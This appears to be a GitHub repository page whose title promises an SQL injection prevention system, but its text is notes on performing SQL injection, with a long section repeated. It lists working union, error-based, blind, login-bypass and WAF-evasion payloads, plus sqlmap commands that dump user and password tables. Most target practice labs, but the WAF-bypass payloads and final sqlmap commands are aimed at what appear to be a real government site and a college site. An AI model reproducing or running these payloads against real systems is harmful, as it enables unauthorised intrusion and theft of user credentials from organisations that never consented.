abhaygithubb / SQL_Injection_Prevention_System

SQL queries for web hacking. SQL injection is a code injection technique used to execute malicious SQL statement.

Union SQl Injection ->testphp.vulnweb.com

-> find a parameter test wether it has an sql database or not ->Check errors

http://testphp.vulnweb.com/listproducts.php?cat=1 http://testphp.vulnweb.com/listproducts.php?cat=1'

->Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74

->http://testphp.vulnweb.com/listproducts.php?cat=1' order by 1--+ ->remove ' ->http://testphp.vulnweb.com/listproducts.php?cat=1 order by 1--+ ->http://testphp.vulnweb.com/listproducts.php?cat=1 order by 5--+ ->http://testphp.vulnweb.com/listproducts.php?cat=1 order by 7--+ ->http://testphp.vulnweb.com/listproducts.php?cat=1 order by 10--+ ->http://testphp.vulnweb.com/listproducts.php?cat=1 order by 11--+ ->http://testphp.vulnweb.com/listproducts.php?cat=1 order by 12--+ -> Error: Unknown column '12' in 'order clause' Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74 search art -->Unknown column<-- --> know we know that we have ->http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,2,3,4,5,6,7,8,9,10,11--+ ->we get vulnerable tables 2,7,9

->version() ->database() ->http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,2,3,4,5,6,table_name,8,9,10,11 from information_schema.tables--+ ->It will give us list of table name now we know which table to use/select ->>"users" ->now we need columns ->>http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,2,3,4,5,6,column_name,8,9,10,11 from information_schema.columns where table_name="users"--+ ->now we know we have column names like-->>>>>>>>>>uname,pass,address,email,name ->juicy info kha se mil sakta hen ->uname,pass,address ->so -> ->http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,2,3,4,5,6,group_concat(uname,':',pass),8,9,10,11 from users--+

-> and we get username and password

union-> union is an sql operator ,it's job is to combine the result of two or more select statement into a single result which is then returned as a part of HTTP response.

->order by is used for sorting

->Select-> A select query is a database object that shows information in Datasheet view

what is information schema? -> Information schema is a structure set which store metadata and other information about tabls,views,columns and procedures in a database

Database ki mummy

---

find input produce error find the number columns we could use union operator

so that we could find vulnerable columns

we can add querry or ask database for juicy information

1' order by 1,2,3,4 jab tak apko number of column nhi pta chal jate

11 columns

1 union select 1,2,3,4,5,6,7,8,9,10,11--+

vulnerable columns---> 7,2,9

database->table-columns

1 union select 1,2,3,4,5,6,table_name,8,9,10,11 from information_schema.tables--+

table name===users

1 union select 1,2,3,4,5,6,7,8,column_name,10,11 from information_schema.columns where table_name='users'--+

columns of table jiska nam kya hen ---> users

uname,pass,cc,addres

1 union select 1,2,3,4,5,6,group_concat(uname,"//",pass,"//",cc),8,9,10,11 from users--+

Sql malicious codes

Learn SQLi Query Fixing

1. identify sqli vulnerability ' " \

2. balance the query

http://192.168.1.103/sqli-labs-master/Less-1/?id=1 {front end }

select id ='id' where name ='xyz' {background}

how to fix

http://192.168.1.103/sqli-labs-master/Less-1/?id=1' --+

select id ='1' --+' where name ='xyz' {background}

Less-2

in background

select id=1 --+where name =xyz

how to fix query

http://192.168.1.103/sqli-labs-master/Less-2/?id=1 --+

Less-3

in background select id = ('1') where name =('xyz')

---

SQLI Through Get Based

Less-1

http://192.168.1.103/sqli-labs-master/Less-1/?id=1' --+ {balanced query }

1. find total no of vulnerable columns

order by 1{same page }

order by 2 {same page }

order by n {different page }

there is n-1 columns are prsenet

http://192.168.1.103/sqli-labs-master/Less-1/?id=1' order by 1 --+

2. find exact no of vulnerable columns out of these n-1

union all select 1,2,...n-1

example

union all select 1,2,3

select id=-1' union all select 1,2,3 --+where name =xyz

executed - http://192.168.1.103/sqli-labs-master/Less-1/?id=-1' union all select 1,2,3 --+

3. execute any datbase sqli query there

on that reflect no

example - database()

version()

user()

executed - http://192.168.1.103/sqli-labs-master/Less-1/?id=-1' union all select 1,database(),3 --+

http://192.168.1.103/sqli-labs-master/Less-1/?id=-1' union all select 1,database(),user() --+

---

situtation you are getting error but you are not getting output of union sqli staement in that case there may error based sqli or may be double query based sqli

http://192.168.1.103/sqli-labs-master/Less-5/?id=-1' --+

error/double based sqli query -> hackbar->error/double->get database

---

Blind SQLI

blind boolien based sqli

and 1=1 {true }

and 1=2 {false }

and "a"="b"

and database()="xyz"

we can not assume the database

and substring(database(),1,1)="a"

http://192.168.1.103/sqli-labs-master/Less-8/?id=1' and substring(database(),1,1)="s" --+ {true vale that menas first charcater of first databse is s}

http://192.168.1.103/sqli-labs-master/Less-8/?id=1' and substring(database(),2,1)="e" --+ {true second character of first database is e}

blind time based sqli

' and sleep(10) --+ " and sleep(10) --+

') and sleep(10) --+

how to extract database for blind time based sqli

' and sleep(10) and 1=1 --+

i gave http://192.168.1.103/sqli-labs-master/Less-9/?id=1' and sleep(10) and database()="security" --+ its sleeping thats means

http://192.168.1.103/sqli-labs-master/Less-9/?id=1' and sleep(10) and database()="xyz" --+ {its not sleeping for 10 sec }

Exploitation of GET Based sqli

1. Database List -

hackbar->union->database->group_concat

information_schema challenges dvwa metasploit mysql owasp10 security tikiwiki tikiwiki195

2.find tables of a database -dvwa

hackbar->union->tables->group_concat

guestbook users

3. find columns of a table - guestbook

comment_id comment name

4. data of that columns

name,comment

hackbar->union->data->group_concat

name,"<------>",comment,"---->",third

Error Based Double Query Exploitaion

what about other database

for if want to fetch remaining database

you have to increase first value of first limit

LIMIT+1,1 - challenges

LIMIT+2,1 - dvwa

LIMIT 3,1 - metasploit

tables

default tables LIMIT+0,1 - guestbook

LIMIT+1,1 - users

LIMIT+2,1 -- you are not getting aything that means there is only two tables

columns for double query based

LIMIT+0,1 - user_id

LIMIT+1,1. --- first_name

LIMIT+2,1)). --- last_name

LIMIT+3,1)). ---- user

LIMIT+4,1)). --- password

LIMIT+5,1)). -- avatar

LIMIT+0,1)). ---- nothing

Data of these columns user password admin 5f4dcc3b5aa765d61d8327deb882cf99 gordonb e99a18c428cb38d5f260853678922e03 1337 8d3533d75ae2c3966d7e0d4fcc69216b pablo

Learn SQLi Query Fixing

1. identify sqli vulnerability ' " \

2. balance the query

http://192.168.1.103/sqli-labs-master/Less-1/?id=1 {front end }

select id ='id' where name ='xyz' {background}

how to fix

http://192.168.1.103/sqli-labs-master/Less-1/?id=1' --

select id ='1' -- ' where name ='xyz' {background}

Less-2

in background

select id=1 -- where name =xyz

how to fix query

http://192.168.1.103/sqli-labs-master/Less-2/?id=1 --

Less-3

in background select id = ('1') where name =('xyz')

---

SQLI Through Get Based

Less-1

http://192.168.1.103/sqli-labs-master/Less-1/?id=1' -- {balanced query }

1. find total no of vulnerable columns

order by 1{same page }

order by 2 {same page }

order by n {different page }

there is n-1 columns are prsenet

http://192.168.1.103/sqli-labs-master/Less-1/?id=1' order by 1 --

2. find exact no of vulnerable columns out of these n-1

union all select 1,2,...n-1

example

union all select 1,2,3

select id=-1' union all select 1,2,3 -- where name =xyz

executed - http://192.168.1.103/sqli-labs-master/Less-1/?id=-1' union all select 1,2,3 --

3. execute any datbase sqli query there

on that reflect no

example - database()

version()

user()

executed - http://192.168.1.103/sqli-labs-master/Less-1/?id=-1' union all select 1,database(),3 --

http://192.168.1.103/sqli-labs-master/Less-1/?id=-1' union all select 1,database(),user() --

---

situtation you are getting error but you are not getting output of union sqli staement in that case there may error based sqli or may be double query based sqli

http://192.168.1.103/sqli-labs-master/Less-5/?id=-1' --

error/double based sqli query -> hackbar->error/double->get database

---

Blind SQLI

blind boolien based sqli

and 1=1 {true }

and 1=2 {false }

and "a"="b"

and database()="xyz"

we can not assume the database

and substring(database(),1,1)="a"

http://192.168.1.103/sqli-labs-master/Less-8/?id=1' and substring(database(),1,1)="s" -- {true vale that menas first charcater of first databse is s}

http://192.168.1.103/sqli-labs-master/Less-8/?id=1' and substring(database(),2,1)="e" -- {true second character of first database is e}

blind time based sqli

' and sleep(10) --
" and sleep(10) --

') and sleep(10) --

how to extract database for blind time based sqli

' and sleep(10) and 1=1 --

i gave http://192.168.1.103/sqli-labs-master/Less-9/?id=1' and sleep(10) and database()="security" -- its sleeping thats means

http://192.168.1.103/sqli-labs-master/Less-9/?id=1' and sleep(10) and database()="xyz" -- {its not sleeping for 10 sec }

Exploitation of GET Based sqli

1. Database List -

hackbar->union->database->group_concat

information_schema challenges dvwa metasploit mysql owasp10 security tikiwiki tikiwiki195

2.find tables of a database -dvwa

hackbar->union->tables->group_concat

guestbook users

3. find columns of a table - guestbook

comment_id comment name

4. data of that columns

name,comment

hackbar->union->data->group_concat

name,"<------>",comment,"---->",third

Error Based Double Query Exploitaion

what about other database

for if want to fetch remaining database

you have to increase first value of first limit

LIMIT 1,1 - challenges

LIMIT 2,1 - dvwa

LIMIT 3,1 - metasploit

tables

default tables LIMIT 0,1 - guestbook

LIMIT 1,1 - users

LIMIT 2,1 -- you are not getting aything that means there is only two tables

columns for double query based

LIMIT 0,1 - user_id

LIMIT 1,1. --- first_name

LIMIT 2,1)). --- last_name

LIMIT 3,1)). ---- user

LIMIT 4,1)). --- password

LIMIT 5,1)). -- avatar

LIMIT 0,1)). ---- nothing

Data of these columns user password admin 5f4dcc3b5aa765d61d8327deb882cf99 gordonb e99a18c428cb38d5f260853678922e03 1337 8d3533d75ae2c3966d7e0d4fcc69216b pablo

---

Post Based SQLI

Balnace the query

' --

problem is is not working with post based

instead of use space ( )

or you can also use # to fix

is alos used for comment out part of sqli qyery

-- or #

find total no of vulnerable columns

order by 1

find exact no of vulnerable columns

' union all select 1,2 #

execute database query

' union all select database(),user() #

Less -12

") union all select 1,2 #

") union all select database(),user() #

Less-13

') # ') order by 3#

') order by 2 # {order by 2 worked }

') union all select 1,2#

situtation you are getting error but you are not getting output of union sqli staement in that case there may error based sqli or may be double query based sqli

" AND(SELECT 1 from(SELECT COUNT(*),CONCAT((SELECT (SELECT (SELECT DISTINCT CONCAT(0x7e,0x27,CAST(schema_name AS CHAR),0x27,0x7e) FROM INFORMATION_SCHEMA.SCHEMATA WHERE table_schema!=DATABASE() LIMIT 1,1)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1), FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND 1=1 #

---

Blind boolien post based sqli

Less-15

' OR 1=1 #

" OR 1=1 #

') OR 1=1 #

") OR 1=1 #

' OR database()="security" #

' OR substring(database(),1,1)="a" #

' OR substring(database(),1,1)="s" # first character of database is s

' OR substring(database(),2,1)="e" #

second character of database is e

Less-16

Blind time based ' OR sleep(10) # " OR sleep(10) # ') OR sleep(10) # ") OR sleep(10) # {worked}

") OR sleep(10) and 1=1 #

") OR sleep(10) and substring(database(),3,1)="a" #

application is sleeping when we fired this

") OR sleep(10) and substring(database(),3,1)="c" #

that means third character of database is c

Less-17

understand the busines slogic here

password reset require existing user

default username for this lab is admin

---

Exploitation of POST Based SQLI

Less-11

inject database query

1. database list

hackbar -> union -> database-> group_concat

' union all select (SELECT GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.SCHEMATA),2 #

information_schema challenges dvwa metasploit mysql owasp10 security tikiwiki tikiwiki195

2. find table of a database - security

' union all select (SELECT GROUP_CONCAT(table_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x7365637572697479),2 #

emails referers uagents users

3. find columns of a table - users

hackbar->union->columns->group_concat

' union all select (SELECT GROUP_CONCAT(column_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x7573657273),2 #

user_id first_name last_name user password avatar id username password

4. data of these columns - user,password

user,"<----->",password

' union all select 1,(SELECT GROUP_CONCAT(username,"<----->",password SEPARATOR 0x3c62723e) FROM security.users) #

Error Based Double Query Exploitaion Post Method

') AND(SELECT 1 from(SELECT COUNT(*),CONCAT((SELECT (SELECT (SELECT DISTINCT CONCAT(0x7e,0x27,CAST(schema_name AS CHAR),0x27,0x7e) FROM INFORMATION_SCHEMA.SCHEMATA WHERE table_schema!=DATABASE() LIMIT 3,1)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1), FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND 1=1 #

---

Header Based sqli

if any application will have to store your headers info into their database there may be headers based sqli

if you will be loged in an application

---

Cookie Based SQLI

target - testphp.vulnweb.com

Balance Query

' --

' and 'x'='x

select login='test/test' and 'x'='x ' where something other part of query

---

Header Based sqli

balnace query

' --

' and 'a'='a

select referrer='value ' OR SLEEP(5) and 'a'='a ' somethingother part of query

---

waf bypassing

earlier i tried

' order by 1 --+

when i tried

' union all select 1,2,3,4,5,6,7 --+

i got not acceptable error

either union may be illegal keyword

may be all will be illegal input

select

illegal word (word)= /!12345word/

' /!12345union/ all select 1,2,3 --+

http://multan.gov.pk/page.php?data=-2' /!12345union/ all select 1,2,database(),4,5,6,7 --+

now exploit this all database list

hackbar->union->database->group_concat on any reflect no

(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA)

' /!12345union/ all select 1,2,(SELECT+/!12345GROUP_CONCAT/(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),4,5,6,7 --+

---

Authentication Bypasing through SQLI

lets assuem background of login page

select username ='value1'&password='value2' where someother part of query

value1 = ' OR 1=1 --

select username ='' OR 1=1 -- '&password='value2' where someother part of query

value1= 1' OR '1'='1

select username ='1' OR '1'='1 '&password='value2' where someother part of query

Less-11

---

SQLMAP GET Based

python sqlmap.py -u "http://192.168.0.103/sqli-labs-master/Less-1/?id=1*" --batch --banner

1. database list

--dbs

example

python sqlmap.py -u "http://192.168.0.103/sqli-labs-master/Less-1/?id=1*" --batch --banner --dbs

2. find tables of a database - dvwa

-D DBNAME --tables

example python sqlmap.py -u "http://192.168.0.103/sqli-labs-master/Less-1/?id=1*" --batch --banner -D dvwa --tables

3. columns of any table - users

-D DBNAME -T TBNAME --columns

example : python sqlmap.py -u "http://192.168.0.103/sqli-labs-master/Less-1/?id=1*" --batch --banner -D dvwa -T users --columns

4. data of these columns - user,first_name,password

-D DBNAME -T TBNAME -C col1,col2,col3 --dump

example :

python sqlmap.py -u "http://192.168.0.103/sqli-labs-master/Less-1/?id=1*" --batch --banner -D dvwa -T users -C user,first_name,password --dump

---

POST | Header | and Cookie based SQLI through SQLmap

commands

python sqlmap.py -r requestfile --batch --banner

python sqlmap.py -r less11.txt --batch --banner

WAF Bypass with sqlmap

sqlmap.py -u "URL" --batch --banner --tamper=modsecurityversioned

python sqlmap.py -u "http://multan.gov.pk/page.php?data=50*" --batch --banner --tamper=modsecurityversioned

python sqlmap.py -u "http://citicollege.edu.pk/main.php?Id=1*" --batch --banner